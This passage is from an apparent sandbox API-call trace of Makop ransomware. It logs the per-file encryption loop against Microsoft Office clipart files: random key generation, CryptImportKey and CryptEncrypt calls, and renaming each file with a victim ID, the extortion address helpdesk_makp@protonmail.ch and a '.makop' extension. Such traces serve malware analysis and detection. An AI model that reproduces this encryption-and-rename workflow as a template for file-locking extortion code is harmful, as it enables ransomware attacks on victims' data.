nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.498] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.498] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.498] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x662a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x662a, lpOverlapped=0x0) returned 1 [0129.500] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6630, dwBufLen=0x6630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6630) returned 1 [0129.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6630, lpOverlapped=0x0) returned 1 [0129.501] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.501] SetEndOfFile (hFile=0xf0) returned 1 [0129.508] GetProcessHeap () returned 0x48a0000 [0129.508] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.508] GetProcessHeap () returned 0x48a0000 [0129.509] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.509] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.510] CloseHandle (hObject=0xf0) returned 1 [0129.511] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0129.511] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0129.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.512] GetProcessHeap () returned 0x48a0000 [0129.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.512] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0129.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.517] GetProcessHeap () returned 0x48a0000 [0129.517] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.517] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.517] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.518] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.518] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.518] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4124, lpOverlapped=0x0) returned 1 [0129.520] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4130, dwBufLen=0x4130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4130) returned 1 [0129.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4130, lpOverlapped=0x0) returned 1 [0129.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.521] SetEndOfFile (hFile=0xf0) returned 1 [0129.528] GetProcessHeap () returned 0x48a0000 [0129.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.528] GetProcessHeap () returned 0x48a0000 [0129.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.528] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.529] CloseHandle (hObject=0xf0) returned 1 [0129.529] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0129.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0129.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.530] GetProcessHeap () returned 0x48a0000 [0129.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.531] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0129.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.535] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.535] GetProcessHeap () returned 0x48a0000 [0129.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.535] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.535] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.536] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.536] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13c4, lpOverlapped=0x0) returned 1 [0129.538] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13d0) returned 1 [0129.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13d0, lpOverlapped=0x0) returned 1 [0129.538] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.539] SetEndOfFile (hFile=0xf0) returned 1 [0129.546] GetProcessHeap () returned 0x48a0000 [0129.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.546] GetProcessHeap () returned 0x48a0000 [0129.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.546] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.547] CloseHandle (hObject=0xf0) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0129.548] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0129.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.549] GetProcessHeap () returned 0x48a0000 [0129.549] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.549] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.549] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.553] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.553] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.553] GetProcessHeap () returned 0x48a0000 [0129.553] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.554] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.554] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.554] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.554] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.554] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.554] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.554] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.555] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.555] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.555] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.555] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x35bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x35bc, lpOverlapped=0x0) returned 1 [0129.557] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35c0) returned 1 [0129.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.557] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x35c0, lpOverlapped=0x0) returned 1 [0129.557] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.557] SetEndOfFile (hFile=0xf0) returned 1 [0129.564] GetProcessHeap () returned 0x48a0000 [0129.564] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.564] GetProcessHeap () returned 0x48a0000 [0129.564] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.564] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.566] CloseHandle (hObject=0xf0) returned 1 [0129.566] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0129.566] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned 63 [0129.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.567] GetProcessHeap () returned 0x48a0000 [0129.567] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.568] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.568] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.704] GetProcessHeap () returned 0x48a0000 [0129.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.704] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.704] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.705] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.705] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, 